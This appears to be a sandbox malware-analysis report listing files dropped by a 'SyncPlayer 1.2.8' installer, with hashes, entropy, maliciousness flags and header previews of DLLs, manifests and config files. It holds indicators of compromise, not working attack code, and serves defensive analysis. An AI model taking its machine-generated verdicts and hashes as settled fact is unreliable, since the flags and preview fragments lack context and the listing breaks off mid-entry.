SHA1:	431843DD3CC038DAD438BD24384025DBC2A56BB7
SHA-256:	BA8C9EAC092A503E4FB70771C34A00C5BB651043DE24DB4D3525EBBB3EE7FF08
SHA-512:	3094130EEC92FF403E7529287BA26EF0AFF8A9BB77572B0CCBD143CCFB2B4FC2175AD8D6137559475C78418C33C253A87F5462E9C6430D463540250CABE110E2
Malicious:	false
Reputation:	low
Preview:	F...

C:\ProgramData\ec114resa.dat

Download File

Process:	C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	128
Entropy (8bit):	2.9545817380615236
Encrypted:	false
SSDEEP:	3:SmwW3Fde9UUDrjStGs/:Smze7DPStGM
MD5:	98DDA7FC0B3E548B68DE836D333D1539
SHA1:	D0CB784FA2BBD3BDE2BA4400211C3B613638F1C6
SHA-256:	870555CDCBA1F066D893554731AE99A21AE776D41BCB680CBD6510CB9F420E3D
SHA-512:	E79BD8C2E0426DBEBA8AC2350DA66DC0413F79860611A05210905506FEF8B80A60BB7E76546B0CE9C6E6BC9DDD4BC66FF4C438548F26187EAAF6278F769B3AC1
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	30ea4c433b26b5bea4193c311bc4a25098960f3df7dbf2a6175bf7d152ea71ca................................................................

C:\ProgramData\ec114resb.dat

Download File

Process:	C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	128
Entropy (8bit):	1.7095628900165245
Encrypted:	false
SSDEEP:	3:LDXdQSWBdMUE/:LLdQSGd
MD5:	4FFFD4D2A32CBF8FB78D521B4CC06680
SHA1:	3FA6EFA82F738740179A9388D8046619C7EBDF54
SHA-256:	EC52F73A17E6AFCF78F3FD8DFC7177024FEB52F5AC2B602886788E4348D5FB68
SHA-512:	130A074E6AD38EEE2FB088BED2FCB939BF316B0FCBB4F5455AB49C2685BEEDCB5011107A22A153E56BF5E54A45CA4801C56936E71899C99BA9A4F694A1D4CC6D
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	dad6f9fa0c8327344d1aa24f183c3767................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\ApngDecoder.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	371200
Entropy (8bit):	6.426535807098075
Encrypted:	false
SSDEEP:	6144:3xLKtTtx9C3XSnuNFOFyso3R/cUnpCYQJmY62FTBqRAON7w:f3CuNn7BJCYQ9TsRQ
MD5:	77DB62270B198C2ACBC463E3F1F0B982
SHA1:	EE293FEFD9C439B01F4B0584A4816D2EC86221BD
SHA-256:	ECB3C629A4C97D83DCE819E0D4B211055BE55EFF3444CF28A2564B3F0669FCFF
SHA-512:	64E153891D1C636B25804404680B13E8A1F3A33CB4C41A92AF6363DECA7C1D4E779933556A1EB97D55B15A6BA500F102C09E4480CC5B7C91BB284E735AFE8132
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: BJqvg1iEdr.exe, Detection: malicious, Browse Filename: 8hN4C25a0O.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: tuc5.exe, Detection: malicious, Browse Filename: tuc5.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1P..u1..u1..u1..R...r1..R...`1..u1...0..\|In.S1..\|Ix..1..\|I...1..kc..v1..\|Iq.v1..\|Ii.t1..kco.t1..\|Ij.t1..Richu1..........PE..L....).Y...........!................................................................SE....@.........................0...F............`..........................<)..`..................................@...................l...@....................text............................... ..`.rdata..v...........................@..@.data...<].......$..................@....rsrc........`...0..................@..@.reloc...u.......v...4..............@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\AudioResample.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	68608
Entropy (8bit):	6.447992421693984
Encrypted:	false
SSDEEP:	768:M+qgK9p/K0fUyeAEBqCRUpJosqKXeHd5Fkv6pxh4WgfskSnChTe1QsHj5dBcjkTX:M+/KX/ZeTb0uHd5FigxhcfskSj75I92
MD5:	D5F9F42D8F864A9021C6BEA8E12074AD
SHA1:	7D326672F2C15A78EFF890534D7BF28DFADDBD45
SHA-256:	8B5D9098E881F00E18C94FF2AB30945429207F7D849B49DD5462E23401A57ABB
SHA-512:	03087777BB0FA7B7AE811360F747A3B8A5DF3D201A553C6260F0E9D6A6C7F34321C8F99B046C34CA660B24CC89BD0AD162D356BEAD67C0CEF62504F3E1F8FA87
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........\.o.\.o.\.o.U...O.o.U...1.o..k.V.o.{,.._.o.\.n.9.o.U...~.o.U...].o.U...].o.Rich\.o.................PE..L...jT.\...........!.........H...............................................P......]w..............................`...L............0.......................@..........................................@...............p............................text............................... ..`.rdata...".......$..................@..@.data....-..........................@....rsrc........0......................@..@.reloc.......@......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Bitmap2Avi.dll.intermediate.manifest (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	851
Entropy (8bit):	5.0869947237388375
Encrypted:	false
SSDEEP:	24:qPnRuV4MPgicifznCCgIdIcfzWCCgIdITl:MRuqS5CCgIdIMFCgIdITl
MD5:	EE45F127C55EF85DDFCA0F7A0087240B
SHA1:	9647DD4A6EB34AD4324C582F5108EDB80228C42F
SHA-256:	EA9A5CF003E5CC55AB8F2AA81C38646648F4ACB71FA408ACE428CE0144CEFAF4
SHA-512:	543361602177A99B32B23B7EB0E1CDA79AB4D77C9F2E64EA7A1F80216F488E7461E8663FDA28381BC4D337C1983EEF8005951DFBD05A006AFDFF11D7F7F55D62
Malicious:	false
Preview:	<?xml version='1.0' encoding='UTF-8' standalone='yes'?>..<assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'>.. <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">.. <security>.. <requestedPrivileges>.. <requestedExecutionLevel level='asInvoker' uiAccess='false' />.. </requestedPrivileges>.. </security>.. </trustInfo>.. <dependency>.. <dependentAssembly>.. <assemblyIdentity type='win32' name='Microsoft.VC90.CRT' version='9.0.21022.8' processorArchitecture='x86' publicKeyToken='1fc8b3b9a1e18e3b' />.. </dependentAssembly>.. </dependency>.. <dependency>.. <dependentAssembly>.. <assemblyIdentity type='win32' name='Microsoft.VC90.MFC' version='9.0.21022.8' processorArchitecture='x86' publicKeyToken='1fc8b3b9a1e18e3b' />.. </dependentAssembly>.. </dependency>..</assembly>..

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\CamCapture.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	3.6440630653513795
Encrypted:	false
SSDEEP:	192:h7kY3pPkw9Bpj8srMkzQuR7awElf+cn4G5ey4SyJRQ0jwO44lwib6w0gEGD+NS:DMwSEzdaw0tnfqyowJ4lwi2UEG
MD5:	62400F82750F17936091B90863A59566
SHA1:	D304408B4FDBDB99B6D03DB848EC2B9210EB90C8
SHA-256:	E06668D58414F436C498A2278CB067AD4BAA22735C223509DBF851ECBD6FE645
SHA-512:	ADC57BB638397F5A565B5CED5A0E6F47C855EB50C2498FB527C7D15B74AF34A14A0D4E4E8B709151A988A350311C5B488D0022540979B423B494D58714826B58
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........G..&..&..&.U...&..9..&..&..&..9..&..9..&..:..&..9..&..9..&.....&..&..&.....&.H ..&.p...&.Rich.&.................PE..L....%rS...........!..... ...P.......,.......0......................................................................p:......(7.......`.. ....................p.......................................................0..\............................text............ .................. ..`.rdata.......0.......0..............@..@.data...L....@.......@..............@....rsrc... ....`.......P..............@..@.reloc.......p.......`..............@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Capture.wav (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, stereo 44100 Hz
Category:	dropped
Size (bytes):	69166
Entropy (8bit):	7.329060163500274
Encrypted:	false
SSDEEP:	1536:dFOWzH8eklX5ALvJwBuHEXNAewSUnX4wEpNkub9mjuZ8yPKOCj9p5Zn3Ii:fm7A7GFdzkX41p+ucI7Kpn3f
MD5:	F61EC1668464115772F8FA2FD562A70D
SHA1:	5A8A4BE4C84B77EBEF3B2AA65A8814D04E2ADA2B
SHA-256:	3A56C607D4BB495A6477D94A9E6ECD7A37BA50E0D1DDF287768633F8B274DD71
SHA-512:	EE560A3CF171C2CF01395FA7D8FE0F4CB1AC2AC10C26CE47EAD7B01D54E6C04DE2FA749C7A41433AB67EDE74000450D28D32C17316E81831946119CFB92F9C91
Malicious:	false
Preview:	RIFF&...WAVEfmt ........D.............data..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\EncodeSettings.ini (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	ISO-8859 text, with CRLF line terminators
Category:	dropped
Size (bytes):	691
Entropy (8bit):	4.123292651950357
Encrypted:	false
SSDEEP:	12:hnHT/W+qV9LRa5IGnH17fOV98EaOcXnHXUp7fOV9kjRaxnHifOV9BHavnHM4iVUq:hnz+f9oVnVzK984cXnuzK9kjcnIK9Qnu
MD5:	CD7B70EF111EDC855756233899FC201E
SHA1:	DC3DA2E402E4F503F40A7266D737B96A73F771C7
SHA-256:	480A7DC890285A51BA785432AA00747CA7B5F207E48A2AED8DE4D53FB99EF26E
SHA-512:	5B0C04A71B3F18685CA3518754B44147004AE73F829AB2012B5CF0CAB5318AE6B5EB9FB4D43D6BCE2248912C026D55C6A8B17D89A2A5FEC8F374A07C04893363
Malicious:	false
Preview:	//......[HD]..VideoBitrate = 6000..Fps = 30..Sample = 44100..AudioBitrate = 128 ..Channel = 2....//......[High]..VideoBitrate = 3000..Fps = 24..Sample = 44100..AudioBitrate = 96 ..Channel = 2....//......[Medium]..VideoBitrate = 2000..Fps = 24..Sample = 44100..AudioBitrate = 64 ..Channel = 2....//.....[Standard]..VideoBitrate = 1500..Fps = 24..Sample = 44100..AudioBitrate = 32 ..Channel = 2....//.....[Lower]..VideoBitrate = 1000..Fps = 15..Sample = 22050..AudioBitrate = 16..Channel = 1

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\ISTask.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	67584
Entropy (8bit):	6.357541095717686
Encrypted:	false
SSDEEP:	1536:KVqiEnH9RGX9xXLUWB1GOlb3MvH4xK+RRlm9A:isGX3Vwwbc6Rlm9A
MD5:	86A1311D51C00B278CB7F27796EA442E
SHA1:	AC08AC9D08F8F5380E2A9A65F4117862AA861A19
SHA-256:	E916BDF232744E00CBD8D608168A019C9F41A68A7E8390AA48CFB525276C483D
SHA-512:	129E4B8DD2665BCFC5E72B4585343C51127B5D027DBB0234291E7A197BAECA1BAB5ED074E65E5E8C969EE01F9F65CC52C9993037416DE9BFFF2F872E5AEBA7EC
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.....................<......0.............@..........................`.......................................................@....................... ..h...................................................................................CODE....\........................... ..`DATA....h...........................@...BSS......................................idata..............................@....edata..............................@..P.reloc..h.... ......................@..P.rsrc........@......................@..P.............`......................@..P................................................................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\InstallHelp.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	192512
Entropy (8bit):	6.24460502377909
Encrypted:	false
SSDEEP:	3072:qHKVfLsXRDEBmJ3pmjc2wjo8PaqJSreQ6i9:1VgXyBmJ3gjc20o8yqsr96i
MD5:	9CD220AF0338B8BBD8FB63205C259018
SHA1:	D687A1E58781D7B5F5983D48457720AFEDC8D8DD
SHA-256:	9B71083991EA70D126EB773658EEFD489E950350BFA26B9EE1E899FE4CAA5DBA
SHA-512:	C1218CE655B16F2B7FFD311D7C7C14C61FA1C0E2F8C0A4AD0A4F64843EEA711BF26495B4EFCA4E25803010106FB2703E04273F26B6F6E055DE91AE07FED03776
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............................~...............................:........Rich..........................PE..L....z.J...........!......................... ......................................................................P&.......#..P....P..X............................................................................ ..P............................text...V........................... ..`.rdata....... ....... ..............@..@.data........0.......0..............@....rsrc...X....P.......@..............@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\IntelHW.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	67584
Entropy (8bit):	6.205685784114478
Encrypted:	false
SSDEEP:	1536:oacSu67RJwNzZzGqdqAAfnjWG5d+nY3kubrNfF8:o8XMzZSqILfnjWG2Y3ku/NfF8
MD5:	3442F2ED6AF66C75AD4F42FD8DE2917D
SHA1:	AAB69C6A498BC0A629B49BCDF06A66FC658EAE24
SHA-256:	C2F9C9913395D50DA23CB5AE9BC40AE98B1B74862FB584819654D27F5A0199BE
SHA-512:	DC0D7FD02FF51D696CEE4A2385B97B7D9D860707AD6B7D0DBF41BF161FA1DF7AEF39C000AE6589A2E53142CE4D6530245F227D7305824BBC4BED8D16D27B7A05
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......(...lO..lO..lO..e7..fO..>'..nO..>'..xO..>'..eO..>'..nO...P..hO...)..mO...)..iO..lO...O......fO...&..dO...&..mO...&d.mO...&..mO..RichlO..................PE..L...Bx.\...........!.........h......~........................................@............@.........................p...t............ .......................0..........p...........................p...@............................................text............................... ..`.rdata...Q.......R..................@..@.data...H...........................@....rsrc........ ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\MagicSkin.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	36931
Entropy (8bit):	4.264495375774686
Encrypted:	false
SSDEEP:	768:J2VMCksOwdrmlbeAGk41qCDubRsHYjx3tUvPcha/I:iFv+tzts4jNtUvPchyI
MD5:	FF243859F3548636AA2963B919FA6E72
SHA1:	781F3BF5B0F4D8C6D1F6DA1B27A373D6DF9A474F
SHA-256:	B8B07BDC4AD631076BF865A7B076CF09B9B0B0CDFDF37D423BF9D6F5FF6DAB3D
SHA-512:	93C9FF2AEE4070D7111A235C020022F68754313BBEC8117AF77EE11CBF56E0897172E0C258E272D3CEA15E3BFE162BBB3D55257B1612CE74BA47BCC04EEB9C6B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......s.u.7...7...7...7...4...U...3.......6......3...7...j......1.......6......1...Rich7...................PE..L.....'U...........!.....@...P.......G.......P......................................................................pY..#....U..x.......X.......................t....Q...............................................P...............................text...";.......@.................. ..`.rdata.......P.......P..............@..@.data...,....`.......`..............@....rsrc...X............p..............@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Microsoft.VC90.CRT\Microsoft.VC90.CRT.manifest (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	524
Entropy (8bit):	5.024125169592838
Encrypted:	false
SSDEEP:	12:TMHdtXBFN8u3/3XO5WSN4dKF+MHlVI4gVW/wnbE0xSxHyG:2dtXD+u/eVN40+sVI4gAwngJ
MD5:	6BB5D2AAD0AE1B4A82E7DDF7CF58802A
SHA1:	70F7482F5F5C89CE09E26D745C532A9415CD5313
SHA-256:	9E0220511D4EBDB014CC17ECB8319D57E3B0FEA09681A80D8084AA8647196582
SHA-512:	3EA373DACFD3816405F6268AC05886A7DC8709752C6D955EF881B482176F0671BCDC900906FC1EBDC22E9D349F6D5A8423D19E9E7C0E6F9F16B334C68137DF2B
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>.. Copyright (c) Microsoft Corporation. All rights reserved. -->..<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">.. <noInheritable/>.. <assemblyIdentity.. type="win32".. name="Microsoft.VC90.CRT".. version="9.0.21022.8".. processorArchitecture="x86".. publicKeyToken="1fc8b3b9a1e18e3b".. />.. <file name="msvcr90.dll" /> <file name="msvcp90.dll" /> <file name="msvcm90.dll" />..</assembly>..

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Microsoft.VC90.CRT\is-2IMI3.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	524
Entropy (8bit):	5.024125169592838
Encrypted:	false
SSDEEP:	12:TMHdtXBFN8u3/3XO5WSN4dKF+MHlVI4gVW/wnbE0xSxHyG:2dtXD+u/eVN40+sVI4gAwngJ
MD5:	6BB5D2AAD0AE1B4A82E7DDF7CF58802A
SHA1:	70F7482F5F5C89CE09E26D745C532A9415CD5313
SHA-256:	9E0220511D4EBDB014CC17ECB8319D57E3B0FEA09681A80D8084AA8647196582
SHA-512:	3EA373DACFD3816405F6268AC05886A7DC8709752C6D955EF881B482176F0671BCDC900906FC1EBDC22E9D349F6D5A8423D19E9E7C0E6F9F16B334C68137DF2B
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>.. Copyright (c) Microsoft Corporation. All rights reserved. -->..<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">.. <noInheritable/>.. <assemblyIdentity.. type="win32".. name="Microsoft.VC90.CRT".. version="9.0.21022.8".. processorArchitecture="x86".. publicKeyToken="1fc8b3b9a1e18e3b".. />.. <file name="msvcr90.dll" /> <file name="msvcp90.dll" /> <file name="msvcm90.dll" />..</assembly>..

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Microsoft.VC90.CRT\is-GN1VG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	568832
Entropy (8bit):	6.529348877830445
Encrypted:	false
SSDEEP:	12288:iUmYoJC//83zMHZg7/yToyvYXO84hUgiW6QR7t5C3Ooc8SHkC2eRZRzS:iUmYoO83W0y8yeO8L3Ooc8SHkC2e8
MD5:	6DE5C66E434A9C1729575763D891C6C2
SHA1:	A230E64E0A5830544A25890F70CE9C9296245945
SHA-256:	4F7ED27B532888CE72B96E52952073EAB2354160D1156924489054B7FA9B0B1A
SHA-512:	27EC83EE49B752A31A9469E17104ED039D74919A103B625A9250AC2D4D8B8601034D8B3E2FA87AADBAFBDB89B01C1152943E8F9A470293CC7D62C2EEFA389D2C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........?..qQ.qQ.qQ..*.qQ.#..qQ.qP..qQ..>..qQ.#..qQ.#..qQ.#..qQ.#..qQ.#..qQ.#..qQ.Rich.qQ.................PE..L....=1G...........!.....$...p......B........@....Hx................................`.....@.........................@C......d8..<....p...................$......D2...................................$..@............................................text...!#.......$.................. ..`.data...h&...@.......(..............@....rsrc........p.......B..............@..@.reloc...B.......D...F..............@..B........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Microsoft.VC90.CRT\is-HL5P4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	224768
Entropy (8bit):	6.040336415310379
Encrypted:	false
SSDEEP:	6144:ge7iXDX5qmzXOZc/cU4HqsKvts6tifkglMqbO0YLJbc89XTiuq5Kz3OaOyp:ge7iXVDzXOGJb5XTiuq5Kz+
MD5:	4A8BC195ABDC93F0DB5DAB7F5093C52F
SHA1:	B55A206FC91ECC3ADEDA65D286522AA69F04AC88
SHA-256:	B371AF3CE6CB5D0B411919A188D5274DF74D5EE49F6DD7B1CCB5A31466121A18
SHA-512:	197C12825EFA2747AFD10FAFE3E198C1156ED20D75BAD07984CAA83447D0C7D498EF67CEE11004232CA5D4DBBB9AE9D43BFD073002D3D0D8385476876EF48A94
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........3...`...`...`..{`...`..~`...`..}`...`.@.`...`.j.`...`...`<..`..k`...`..l`..`..z`...`..\|`...`..y`...`Rich...`........PE..L....=1G...........!.....:...................P....?x.........................0.......L....@..........................1..4....%..d...............................d...P...............................P...@...............(...........p...H............text....8.......:.................. ..`.data...\|....P.......>..............@....rsrc................H..............@..@.reloc...!......."...L..............@..B........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Microsoft.VC90.CRT\is-LN7FL.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	655872
Entropy (8bit):	6.890160476095281
Encrypted:	false
SSDEEP:	12288:whr4UCeaHTA80gIZ4BgmOEGVN9vtI0E5uO9FAOu8axTFmRyyrRzS:ga2g5gmO791I0E5uO9FANpmRyyg
MD5:	E7D91D008FE76423962B91C43C88E4EB
SHA1:	29268EF0CD220AD3C5E9812BEFD3F5759B27A266
SHA-256:	ED0170D3DE86DA33E02BFA1605EEC8FF6010583481B1C530843867C1939D2185
SHA-512:	C3D5DA1631860C92DECF4393D57D8BFF0C7A80758C9B9678D291B449BE536465BDA7A4C917E77B58A82D1D7BFC1F4B3BEE9216D531086659C40C41FEBCDCAE92
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......O...a...a...a..,....a...a...a...3)..`...3?.^a...3...a...38..a...3>..a...3;..a..Rich.a..................PE..L....=1G...........!.....Z..........@-.......p....Rx.........................0............@.........................`....\|......(........................$.......3......................................@............................................text....X.......Z.................. ..`.data....g...p...D...^..............@....rsrc...............................@..@.reloc...7.......8..................@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Microsoft.VC90.CRT\msvcm90.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	224768
Entropy (8bit):	6.040336415310379
Encrypted:	false
SSDEEP:	6144:ge7iXDX5qmzXOZc/cU4HqsKvts6tifkglMqbO0YLJbc89XTiuq5Kz3OaOyp:ge7iXVDzXOGJb5XTiuq5Kz+
MD5:	4A8BC195ABDC93F0DB5DAB7F5093C52F
SHA1:	B55A206FC91ECC3ADEDA65D286522AA69F04AC88
SHA-256:	B371AF3CE6CB5D0B411919A188D5274DF74D5EE49F6DD7B1CCB5A31466121A18
SHA-512:	197C12825EFA2747AFD10FAFE3E198C1156ED20D75BAD07984CAA83447D0C7D498EF67CEE11004232CA5D4DBBB9AE9D43BFD073002D3D0D8385476876EF48A94
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........3...`...`...`..{`...`..~`...`..}`...`.@.`...`.j.`...`...`<..`..k`...`..l`..`..z`...`..\|`...`..y`...`Rich...`........PE..L....=1G...........!.....:...................P....?x.........................0.......L....@..........................1..4....%..d...............................d...P...............................P...@...............(...........p...H............text....8.......:.................. ..`.data...\|....P.......>..............@....rsrc................H..............@..@.reloc...!......."...L..............@..B........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Microsoft.VC90.CRT\msvcp90.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	568832
Entropy (8bit):	6.529348877830445
Encrypted:	false
SSDEEP:	12288:iUmYoJC//83zMHZg7/yToyvYXO84hUgiW6QR7t5C3Ooc8SHkC2eRZRzS:iUmYoO83W0y8yeO8L3Ooc8SHkC2e8
MD5:	6DE5C66E434A9C1729575763D891C6C2
SHA1:	A230E64E0A5830544A25890F70CE9C9296245945
SHA-256:	4F7ED27B532888CE72B96E52952073EAB2354160D1156924489054B7FA9B0B1A
SHA-512:	27EC83EE49B752A31A9469E17104ED039D74919A103B625A9250AC2D4D8B8601034D8B3E2FA87AADBAFBDB89B01C1152943E8F9A470293CC7D62C2EEFA389D2C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........?..qQ.qQ.qQ..*.qQ.#..qQ.qP..qQ..>..qQ.#..qQ.#..qQ.#..qQ.#..qQ.#..qQ.#..qQ.Rich.qQ.................PE..L....=1G...........!.....$...p......B........@....Hx................................`.....@.........................@C......d8..<....p...................$......D2...................................$..@............................................text...!#.......$.................. ..`.data...h&...@.......(..............@....rsrc........p.......B..............@..@.reloc...B.......D...F..............@..B........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Microsoft.VC90.CRT\msvcr90.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	655872
Entropy (8bit):	6.890160476095281
Encrypted:	false
SSDEEP:	12288:whr4UCeaHTA80gIZ4BgmOEGVN9vtI0E5uO9FAOu8axTFmRyyrRzS:ga2g5gmO791I0E5uO9FANpmRyyg
MD5:	E7D91D008FE76423962B91C43C88E4EB
SHA1:	29268EF0CD220AD3C5E9812BEFD3F5759B27A266
SHA-256:	ED0170D3DE86DA33E02BFA1605EEC8FF6010583481B1C530843867C1939D2185
SHA-512:	C3D5DA1631860C92DECF4393D57D8BFF0C7A80758C9B9678D291B449BE536465BDA7A4C917E77B58A82D1D7BFC1F4B3BEE9216D531086659C40C41FEBCDCAE92
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......O...a...a...a..,....a...a...a...3)..`...3?.^a...3...a...38..a...3>..a...3;..a..Rich.a..................PE..L....=1G...........!.....Z..........@-.......p....Rx.........................0............@.........................`....\|......(........................$.......3......................................@............................................text....X.......Z.................. ..`.data....g...p...D...^..............@....rsrc...............................@..@.reloc...7.......8..................@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\Microsoft.VC90.MFC\Microsoft.VC90.MFC.manifest (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	548
Entropy (8bit):	5.016046602668665
Encrypted:	false
SSDEEP:	12:TMHdtXBFN8u3/3XO5WSN4dKF+nVI4gVW/wnbEJRxJ0xoxF2G:2dtXD+u/eVN40+nVI4gAwnAt
